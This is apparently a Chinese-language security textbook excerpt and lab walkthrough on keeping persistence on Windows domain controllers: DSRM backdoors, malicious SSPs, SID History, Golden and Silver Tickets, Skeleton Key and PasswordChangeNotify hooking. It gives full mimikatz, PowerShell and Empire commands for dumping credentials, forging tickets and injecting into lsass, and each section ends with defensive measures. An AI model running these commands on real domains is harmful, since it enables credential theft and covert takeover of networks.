域控制器权限持久化分析与防御
在获得域控制器的权限后,攻击者通常会对现有的权限进行持久化操作。本节将分析攻击者在拥有域管理员权限后将权限持久化的方法,并给出防范措施。
0x00:from
--《内网安全攻防》
0x01:DSRM域后门
1.DSRM 域后门简介
DSRM(Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户(也就是DSRM账户)。DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期, DSRM 的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行ntdsutil命令行工具。
在渗透测试中,可以使用 DSRM 账号对域环境进行持久化操作。如果域控制器的系统版本为 windows server 2008,需要安装KB961320才可以使用指定域账号的密码对 DSRM 的密码进行同步。在其以后的版本中不需要安装此补丁。如果域控制器的系统版本为windows server 2003,则不能使用该方法进行持久化操作。
我们知道,每个域控制器都有本地管理员账号和密码(与与管理员账号和密码不同)。 DSRM 账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
2.修改DSRM密码的方法
微软公布了修改DSRM密码的方法,在域控制器上打开命令行环境,常用命令说明如下:
- NTDSUTIL:打开ntdsutil
- set dsrm password :设置DSRM的密码
- reset password on server null:在当前域控制器上恢复DSRM密码。
- <PASSWORD>:修改后的密码
- q(第一次):退出DSRM密码设置模式
- q(第二次):退出ntdsutil
如果域控制器的系统版本为windows server 2008(已安装KB961320)及以上,可以将DSRM密码同步为已存在的域账号密码。常用命令如下:
- NTDSUTIL:打开ntdsutil
- set dsrm password :设置DSRM的密码
- syncfrom domain account domainusername:使 DSRM 的密码和指定域用户的密码同步
- q(第一次):退出DSRM密码设置模式
- q(第二次):退出ntdsutil
3.操作
(1)使用mimikatz查看krbtgt的NTLM Hash
在域控制器中打开mimikatz,分别输入如下命令。krbtgt的NTLM Hash为
ac0adbfa69db45ac85a3cf528b537b2b
privilege::debug
lsadump::lsa /name:krbtgt /inject
(2)使用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash
在域控制器中打开mimikatz,分别输入如下命令。DSRM账号的NTLM Hash 为328529d6780d3ad9d84f2cdad9ecab19
token::elevate
lsadump::sam
(3)将DSRM账号和krbtgt的NTLM Hash同步
如果出现“Password has been synchronized successfully”或者“已成功同步密码”
则同步成功
如果出现
则需要手动修改一次krbtgt密码才可以
修改密码需要在user中查找kebtgt账户然后右键重置密码。记得将下次登陆修改密码去掉勾选,否则白改,还有一点是 krbtgt密码并不是输入的密码,系统会自动生成与之前你输入的密码无关的强口令。
(4)查看DSRM的NTLM hash是否同步成功
通过mimikatz,得到 DSRM账号的NTLM hash为 ac0adbfa69db45ac85a3cf528b537b2b
(5)修改DSRM的登录方式
在注册表中新建HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLoginBehavior项。
DSRM的三种登录方式,具体如下
- 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用 DSRM 管理员账号。
- 1:只有当本地AD、DS服务停止时,才可以使用 DSRM 管理员账号登陆域控制器
- 2:在任何情况下,都可以使用 DSRM 管理员账号登陆域控制器。
在渗透测试中需要注意,在windows server2000 以后版本的操作系统中,对DSRM使用控制台登陆域控制器进行了限制。
如果要使用DSRM账号通过网络登陆域控制器,需要将该值设置为2.输入以下命令,可以使用PowerShell进行更改。
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
(6)使用DSRM账号通过网络远程登陆域控制器
使用mimikatz进行哈希传递。在域成员机器的管理员模式下打开mimikatz,输入以下命令
privilege::debug
sekurlsa::pth /domain:DC /user:Administrator /ntlm:ac0adbfa69db45ac85a3cf528b537b2b
(7)使用mimikatz的dcysnc功能远程转储krbtgt的NTLM Hash
哈希传递完成后,会弹出一个命令行窗口。在该窗口打开mimikatz,输入以下命令使用dcsync功能远程转储散列值
lsadump::dcsync /domain:pureqh.top /dc:dc /user:krbtgt
可以通过弹出的控制台进行操作
也可以执行命令
sekurlsa::pth /user:krbtgt /domain:pureqh.top /ntlm:ac0adbfa69db45ac85a3cf528b537b2b /run:\"cmd /c whoami\"
4.DSRM域后门的防御措施
- 定期检查注册表中用于控制DSRM登录方式的键值HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLoginBehavior ,确认该键值为1,或者删除该键。
- 定期修改域中所有域控制器的DSRM账号
- 经常检查ID为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。
0x02:SSP维持域控权限
SSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。
SSPI(Security Support Provider Interface,安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。
如果获得目标系统system权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe 进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码。
1.两个实验
实验一:
使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失。
privilege::debug
misc::memssp
注销当前用户重新登录,即可获取明文密码,密码存储在日志文件C:\Windows\system32\mimilsa.log中。type C:\Windows\system32\mimilsa.log
实验二:
将mimikatz中的mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同),并将mimilib.dll添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。
copy mimilib.dll %systemroot%\system32
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
注意:最后一步修改注册表需要在powershell中操作,cmd下会报错。
查看添加的注册表
系统重启后,若dll被成功加载,用户在登录时输入的账号和密码明文就会被记录在C:\Windows\system32\kiwissp.log中。
2.SSP维持域控制器权限的防御措施
- 检查 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Lsa/Security Packages 项中是否有可疑的dll文件。
- 检查C:\windows\system32\目录下是否有可疑的DLL文件
- 使用第三方工具检查LSA中是否有可以的DLL文件
0x03:SID History域后门
每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。SID History 是在域迁移过程中需要使用的一个属性。
如果A域中的域用户迁移到B域中,那么在B域中的新建用户的SID会随之改变,进而影响迁移后的用户权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后的用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能访问其原来可以访问的资源。在渗透测试中,如果获得了域管理员权限,就可以将SID History作为持久化的方法。
1.实验
将Administrator的SID添加到恶意用户testuser的SID History属性中。
使用PowerShell查看test用户的 SID History 属性。
打开一个具有域管理员权限的命令行窗口,然后打开mimikatz,将Administrator的SID添加到test用户的 SID History 属性中,需要注意的是:在使用mimikatz注入SID之前,需要使用“sid::path”命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的 SID History 属性;mimikatz在2.1版本以后,将misc::addsid模块转移到了sid::add模块下。
再次使用PowerShell查看testuser用户的 SID History
使用testuser用户登陆系统,测试是否具有administrator的权限。尝试列出域控制器c盘的目录
可见testuser已经具有了域控制器的权限。
2.SID History域后门的防御措施
在给出具体的防御措施之前,我们分析一下SID History 域后门的特点。
- 在控制域控制器后,可以通过注入 SID History 属性完成持久化任务
- 拥有高权限SID的用户,可以使用PowerShell远程导出域控制器的ntds.dit
- 如果不再需要通过 SID History 属性实现持久化,可以在mimikatz中执行命令"sid::clear /sam:username" ,清除 SID History 属性
SID History 域后门的防御措施如下
- 经常查看域用户中SID为500的用户
- 完成域迁移工作后,对相同 SID History 属性的用户进行检查
- 定期检查ID为4765和4766的日志。4765为 SID History 属性添加到用户的日志。4766为将 SID History 属性添加到用户失败的日志。
0x04:Golden Ticket(黄金票据)
在渗透测试过程中,如果发现系统中存在恶意行为,应及时更改域管理员密码,对受控机器进行断网处理,然后进行日志分析及取证。然而,攻击者往往会给自己留下多条进入内网的通道,如果我们忘记将krbtgt账号重置,攻击者就能快速重新拿回域控制器权限。
在下面的实验中,假设域内存在一个SID为502的域账号 krbtgt (默认SID为502)。 krbtgt 是KDC服务使用的账号,属于Domain Admins组。在域环境中,每个用户账户的票据都是由 krbtgt 生成的,如果攻击者拿到了 krbtgt 的NTLM Hash或者AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。
攻击者在使用域的Golden Ticket进行票据传递攻击时,往往需要掌握以下信息。
- 需要伪造的域管理员用户名
- 完整的域名
- 域SID
- krbtgt的NTLM Hash或AES-256值
实验环境
域控制器:
- IP地址:192.168.1.1
- 域名:pureqh.top
- 用户名:administrator
- 密码:admin@123
域成员服务器:
- IP地址:192.168.1.2
- 域名:pureqh.top
- 用户名:test
- 密码:admin@888
1.导出krbtgt的NTLM Hash
打开命令行,输入以下命令
lsadump::dcsync /domain:pureqh.top /user:krbtgt
该方法使用mimikatz工具的dcsync功能远程转储活动目录中的ntds.dit。指定 /user参数,可以只导出krbtgt账号的信息。
2.获取基本信息
(1)获取域SID
在命令行输入以下命令,查询SID
wmic useraccount get name,sid
采用这种方法,可以以普通域用户权限获取域内所有用户的SID。可以看到,pureqh.top域的SID为S-1-5-21-2088958248-1083709086-4128711003
(2)获取当前用户的SID
输入如下命令,获取当前用户的SID
whoami /user
(3)查询域管理员账号
输入如下命令,查询域管理员账号
net group "domain admins" /domain
(4)查询域名
在命令行环境中输入如下命令,查询域名
ipconfig /all
3.实验操作
在获取目标主机的权限后,查看当前用户及其所属的组。
net user test /domain
使用管理员权限打开命令提示符,输入命令 “dir \\dc\c$”,在注入票据前将返回提示信息“Access is denied/拒绝访问”(表示权限不足)。
(1)清空票据
在mimikatz中输入如下命令,当前会话中的票据已被清空
kerberos::purge
(2)生成票据(此命令需要管理员权限)
输入如下命令,使用mimikatz生成包含krbtgt身份的票据
kerberos::golden /admin:Administrator /domain:pureqh.top /sid:S-1-5-21-2088958248-1083709086-4128711003 /krbtgt:ac0adbfa69db45ac85a3cf528b537b2b /ticket:Administrator.kiribi
命令执行后会提示保存成功。此时,会在本地目录下生成一个名为“Administrator.kiribi”的文件
(3)传递票据并注入内存(此命令需要管理员权限)
输入如下命令,将Administrator.kiribi票据注入内存
kerberos::ptt Administrator.kiribi
(4)直接将票据传递到内存
经测试,mimikatz生成.kiribi文件需要管理员权限。也可以直接将票据写入内存。
kerberos::golden /admin:Administrator /domain:pureqh.top /sid:S-1-5-21-2088958248-1083709086-4128711003 /krbtgt:ac0adbfa69db45ac85a3cf528b537b2b /user:test /ptt
(5)检索当前会话中的票据
输入如下命令,刚刚注入的票据就出现在当前会话中了
kerberos::tgt
4.验证权限
我们已经分析了将票据注入内存的过程。接下来,退出mimikatz,验证实验伪造的身份是否已经得到了域控制器权限。
退出mimikatz,在当前命令行输入“dir \\dc\c$”,如果想另外打开新的命令行需要管理员权限。
可以看到:在将票据注入内存之前,系统提示权限不足;在将票据注入后,列出了域控制器C盘的目录,表示身份伪造成功。
在当前会话中输入如下命令,使用wmiexec.vbs进行验证。
cscript wmiexec.vbs /shell dc
使用krbtgt的AES-256值生成票据并将其注入内存,也可以伪造用户。在之前导出的krbtgt信息中,AES-256值为82329becb9f3c06e5f3e43ea70190192bdecf80555d618f9cab77654a5cb08a5,输入如下命令。使用mimikatz生成一张票据
kerberos::golden /admin:Administrator /domain:pureqh.top /sid:S-1-5-21-2088958248-1083709086-4128711003 /aes256:82329becb9f3c06e5f3e43ea70190192bdecf80555d618f9cab77654a5cb08a5 /ticket:Administrator.kiribi
其他操作与上面利用NTLM Hash一致
kerberos::ptt Administrator.kiribi
kerberos::tgt
5.Golden Ticket攻击的防御措施
管理员通常会修改域管理员的密码,但是有时会忘记将krbtgt密码也一起重置,所以,如果想防御黄金票据攻击,就需要将krbtgt密码重置两次。
使用Golden Ticket伪造的用户可以是任意用户(即使这个用户不存在)。因为TGT的加密是由krbtgt完成的,所以,只要TGT被krbtgt账户和密码正确的被加密,那么任意KDC使用krbtgt将TGT解密后,TGT中的所有信息都是可信的。只有如下两种情况才可以修改krbtgt密码。
- 域功能级别从 win2000或win server 2003提升为win server 2008或win server 2012.在提升域功能的过程中,krbtgt的密码会被自动修改。在大型企业中,域功能级别的提升费时费力,绝大多数企业不会提升自己的域功能级别,这就给Golden Ticket攻击留下了可乘之机。
- 域管理员用户自行修改
0x05:Silver Ticket(白银票据)
Silver Ticket(白银票据)不同于Golden Ticket。 Silver Ticket 的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而Golden Ticket 在利用过程中需要由KDC颁发TGT,并且在生成伪造的TGT的20分钟内,TGS不会对该TGT的真伪进行验证。
Silver Ticket依赖于服务账号的密码散列值,这不同于Golden Ticket利用需要使用krbtgt账号的密码散列值,因此更加隐蔽。
黄金票据使用krbtgt账号的密码散列值,利用伪造高权限的TGT向KDC要求颁发拥有任意服务访问权限的票据,从而获取域控制器权限。而Silver Ticket会通过相应的服务账号来伪造TGS,例如LDAP、MSSQL、WinRM、DNS、CIFS等,范围有限,只能获取对应服务的权限。黄金票据是由krbtgt账号加密的,而Silver Ticket是由特定的服务账号加密的。
攻击者在使用Silver Ticket对内网进行攻击时,需要掌握以下信息。
- 域名
- 域SID
- 目标服务器的FQDN
- 可利用的服务
- 服务账号的NTLM Hash
- 需要伪造的用户名
1.实验:使用Silver Ticket伪造CIFS服务权限
CIFS服务通常用于Windows主机之间的文件共享。
在本实验中,首先使用当前域用户权限,查询对域控制器的共享目录的访问权限。
在域控制器中输入如下命令,使用mimikatz获取服务账号的NTLM Hash
使用log参数以便复制散列值
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"
注意,这里使用的是共享服务账号,所以使用的是DC$而非administrator
我们继续获取其他信息
domain:pureqh.top
SID:S-1-5-21-2088958248-1083709086-4128711003
然后,在命令行环境下输入如下命令,清空当前系统中的票据和域成员的票据,防止其他票据干扰。
klist purge
kerberos::purge
使用mimikatz生成伪造的 Silver Ticket ,在之前不能访问域控制器共享目录的机器输入如下命令。
kerberos::golden /domain:域名 /sid:SID /target:域全称 /service:要访问的服务 /rc4:NTLM /user:username /ptt
kerberos::golden /domain:pureqh.top /sid:S-1-5-21-2088958248-1083709086-4128711003 /target:dc.pureqh.top /service:cifs /rc4:a8a872eb68275d416f675dafdb3e25e7 /user:test /ptt
再次验证权限,发现已经可以访问域控制器的共享目录了,这说明票据已生效。
2.实验:使用Silver Ticket 伪造LDAP服务器
在本实验中,使用dcsync从域控制器中获取指定用户的账号和密码散列,如krbtgt
输入如下命令,测试以当前权限是否可以使用dcsync与域控制器进行同步。
lsadump::dcsync /dc:dc.pureqh.top /domain:pureqh.top /user:krbtgt
向域控制器获取krbtgt的密码散列值失败,说明以当前权限不能进行dcsync操作。
输入如下命令,在域控制器中使用mimikatz获取服务账号的NTLM Hash
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"
同样使用的是 共享服务账号 dc$
然后,清除当前系统中的票据和域成员机的票据,防止其他票据对实验结果造成干扰。
klist purge
kerberos::purge
使用mimikatz生成伪造的silver Ticket ,在之前不能使用dcsync从域控制器获取krbtgt密码散列值的机器输入如下命令。
kerberos::golden /domain:pureqh.top /sid:S-1-5-21-2088958248-1083709086-4128711003 /target:dc.pureqh.top /service:LDAP /rc4:a8a872eb68275d416f675dafdb3e25e7 /user:test /ptt
输入以下命令,使用dcsync在域控制器查询krbtgt的散列
lsadump::dcsync /dc:dc.pureqh.top /domain:pureqh.top /user:krbtgt
silver Ticket 还可以用于伪造其他服务,例如创建和修改计划任务、使用WMI对远程主机执行命令,使用powershell对远程主机进行管理等
3.Silver Ticket攻击的防御措施
- 在内网中安装杀毒软件、及时更新系统补丁
- 使用软件或者配置,限制mimikatz在网络中的使用
- 计算机的账号密码每30天更改一次。检查设置是否生效
0x06:Skeleton Key
使用Skeleton Key(万能密码),可以对域内权限进行持久化操作。
在本节的实验中,分别使用mimikatz和Empire完成注入Skeleton Key的操作。将Skeleton Key注入域控制器的lsass.exe进程,分析其使用方法,找出相应的防御措施。
实验环境
远程系统
- 域名:pureqh.top
域控制器
- 主机名:DC
- IP地址:192.168.1.1
- 用户名:administrator
- 密码:admin@123
域成员服务器
- 主机名:win-2008
- IP地址:192.168.1.2
- 用户名:test
- 密码:admin@888
1.实验:在mimikatz中使用Skeleton Key
尝试以当前登录用户身份列出域控制器C盘共享目录中的文件。
dir \\dc\c$
由于此时使用的是一个普通域用户身份,所以权限不足拒绝访问。
输入如下命令,使用域管理员账号和密码进行连接
net use \\DC\ipc$ "admin@123" /user:pureqh\administrator
连接成功,列出域控制器C盘的共享目录
在域控制器中以管理员权限打开mimikatz,分别输入如下命令,将Skeleton Key注入域控制器的lsass.exe进程。
privilege::debug //提示权限
misc::skeleton //注入Skeleton Key
系统提示 Skeleton Key 已经注入成功。此时,会在域内的所有账号中添加一个 Skeleton Key ,其密码默认为“mimikatz” 。接下来,就可以以域内任意用户的身份,配合该 Skeleton Key ,进行域内身份授权验证了。
在不使用与管理员原始密码的情况下,使用注入的 Skeleton Key ,同样可以连接系统。在命令行环境中输入如下命令,将之前的ipc$连接删除。
net use //查看现有ipc$
net use \\dc\ipc$ /del /y //将之前建立的ipc$删除
使用如下命令,使用域管理员账号和 Skeleton Key 与域控制器建立ipc$
net use \\dc\ipc$ "mimikatz" /user:pureqh\administrator
可以看到,已经与域控制器建立了连接,尝试列出域控制器c盘文件,万能密码会在域控制器重启后失效,因为 Skeleton Key 是依附于lsass.exe进程的
2.实验:在empire中使用 Skeleton Key
进入empire环境,在成功反弹一个empire的agent之后,使用interact命令进入该agent并输入“usemodule”命令,加载skeleton_keys模块。该模块通过PowerSploit的Invoke-Mimikatz.ps1脚本,在加载mimikatz之后,使用PowerShell版的mimikatz中的misc::skeleton命令,将 Skeleton Key 注入域控制器的lsass.exe进程。依次输入如下命令。
interact G8PV6U3E
usemodule persistence/misc/skeleton_key*
execute
将 skeleton_key 注入后,Empire提示可以使用密码“mimikatz”进入系统。
3.Skeleton Key 攻击的防御措施
2014年,微软在windows操作系统中增加了LSA保护策略,以防止lsass.exe进程被恶意注入,从而防止mimikatz在非允许的情况下提升到Debug权限。
比如没有管理员权限无法提升到debug权限
防御措施如下:
- 域管理员要设置强口令,确保恶意代码不会在域控制器中执行。
- 在所有域用户中启用双因子认证
- 启动应用程序白名单(如AppLocker),以限制mimikatz在域控制器中的运行。
在日常网络维护中注意以下方面,也能有效防范 Skeleton Key
- 向域控制器注入 Skeleton Key 的方法,只能在64位操作系统中使用,包括win server 2012 R2 、win server 2012、win server 2008、win server 2008 R2、win server 2003 R2、win server 2003
- Skeleton Key 被注入后,用户现有密码依然可以登陆系统
- 因为 Skeleton Key 是被注入到lsass.exe进程的,所以它只存在于内存中。如果域控制器重启,注入的 Skeleton Key 将会失效。
0x07:Hook PasswordChangeNotify
Hook PasswordChangeNotify的作用是当用户修改密码后在系统中进行同步。攻击者可以利用该功能获取用户修改密码时输入的密码明文。
在修改密码时,用户输入新密码后,LSA会调用PasswordFileter来检查改密码是否符合复杂性要求。如果密码符合复杂性要求,LSA会调用PasswordChangeNotify,在系统中同步密码。
1.实验操作
分别输入如下命令,使用Invoke-ReflectivePEInjection.ps1将HookPasswordChange.dll注入内存,在目标系统中启动管理员权限的PowerShell。
- Set-ExecutionPolicy bypass
- Import-Module .\Invoke-ReflectivePEInjection.ps1
- Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
修改密码后,查看c:\windows\temp\passwords.txt可以看见修改的账号密码信息。
2.Hook PasswordChangeNotify的防御
使用 Hook PasswordChangeNotify 方法不需要重启系统、不会在系统磁盘留下dll文件、不需要修改注册表。如果 PasswordChangeNotify 被利用,管理员是很难检测到的。所以要对powershell进行严格的监视,并启用约束语言模式,对 Hook PasswordChangeNotify进行防御